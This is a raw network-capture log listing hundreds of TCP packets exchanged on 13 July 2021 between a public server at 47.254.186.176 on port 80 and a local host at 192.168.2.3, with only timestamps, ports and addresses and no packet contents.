Jul 13, 2021 14:37:12.972708941 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.972722054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.972737074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.972757101 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.972774029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.972775936 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.972784996 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.972793102 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.972796917 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.972836018 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.972856045 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.972969055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.972980976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.973025084 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.973539114 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.973556042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.973572969 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.973583937 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.973596096 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.973650932 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.973952055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.973968029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.974085093 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.974554062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.974572897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.974584103 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.974625111 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.974647999 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.974649906 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.974714041 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.974730968 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.974740982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.974767923 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.974790096 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.975369930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.975383043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.975474119 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.975482941 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.975565910 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.975629091 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.975663900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.975676060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.975689888 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.975701094 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.975728035 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.975752115 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.976418018 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.976516962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.976532936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.976577044 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.976588011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.976632118 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.976974964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.977243900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.977308035 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.977349043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.977566957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.977636099 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.978239059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978255033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978271008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978286028 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978302002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978317022 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.978343964 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.978441000 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978456020 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978463888 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978477001 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978492022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978497028 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.978508949 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978539944 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.978564024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.978570938 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.978610992 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.979628086 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.979654074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.979665995 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.979672909 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.979734898 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.979779005 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.979860067 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.979871988 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.980163097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.980175018 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.980232000 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.980297089 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.980345011 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.980479002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.980516911 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.980532885 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.980550051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.980555058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.980587959 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.981138945 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.981161118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.981177092 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.981189013 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.981264114 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.981276989 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.981424093 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.981473923 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.981478930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.981492043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.981539965 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.982105017 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.982121944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.982130051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.982194901 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.982280970 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.982320070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.982330084 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.982404947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.982417107 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.982459068 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.983566046 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.983592987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.983609915 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.983628988 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.983644962 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.983649969 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.983669043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.983716965 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.984065056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.984081030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.984091997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.984138012 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.984227896 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.984261990 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.984318972 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.984359980 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.984375954 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.984381914 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.984440088 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.985085011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985107899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985177994 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.985188961 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985270977 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985331059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985362053 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985368013 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.985389948 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985476971 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.985784054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985806942 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.985866070 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.986016035 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.986046076 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.986059904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.986078024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.986094952 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.986125946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.986138105 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.986144066 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.986279011 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.987055063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987087011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987109900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987153053 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987154961 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.987195015 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.987242937 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987271070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987288952 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.987299919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987329960 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.987718105 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987755060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987797022 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.987833023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987870932 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.987907887 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.987962961 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.988215923 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.988234043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.988260031 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.988794088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.988858938 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.988862991 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.988879919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.988898993 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.988914013 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.988919973 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.988944054 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.989140987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.989164114 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.989190102 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.989201069 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.989207983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.989243984 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.989725113 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.989767075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.989789009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.989803076 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.989809990 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.989840031 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.989876032 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.990020037 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.990036011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.990060091 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.990865946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.990892887 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.990917921 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.990948915 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.990955114 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.990987062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.991004944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.991027117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.991040945 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.991084099 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.991097927 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.991786957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.991812944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.991890907 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.991976023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992028952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992069960 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.992079973 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992121935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992150068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992157936 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.992762089 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992804050 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992818117 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.992841005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992867947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992880106 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.992944002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.992983103 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.992993116 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.993025064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.993060112 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.993618965 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.993655920 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.993695021 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.993700981 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.993721962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.993758917 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.993913889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.993963003 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.993993044 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.994009972 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.994398117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.994452953 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.994463921 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.994510889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.994549990 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.994916916 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.994956017 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.994998932 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.995023012 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995054960 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995088100 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.995526075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995563984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995605946 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.995606899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995645046 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995671034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995678902 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.995707989 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995733976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.995745897 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.996438980 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.996474981 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.996500969 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.996514082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.996547937 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.996556997 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.996619940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.996655941 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.996686935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.996710062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.996742964 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.997658014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997684956 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997726917 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997729063 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.997767925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997802019 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997826099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997828007 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.997859955 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997864962 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.997894049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997916937 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.997927904 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.998276949 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.998318911 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.998415947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.998452902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.998477936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.998497009 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.998648882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.998687029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.998687983 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.998716116 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.998749971 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.999474049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.999531984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.999564886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.999581099 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.999589920 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.999622107 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.999624014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.999656916 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.999680042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.999690056 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.000329018 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.000369072 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.000403881 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.000412941 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.000451088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.000471115 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.000485897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.000510931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.000524044 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.000545025 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.000580072 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.001621008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.001662016 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.001684904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.001713991 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.001727104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.001765966 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.001765966 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.001800060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.001832962 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.001833916 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.001858950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.001902103 CEST	49710	80	192.168.2.3	47.254.186.176
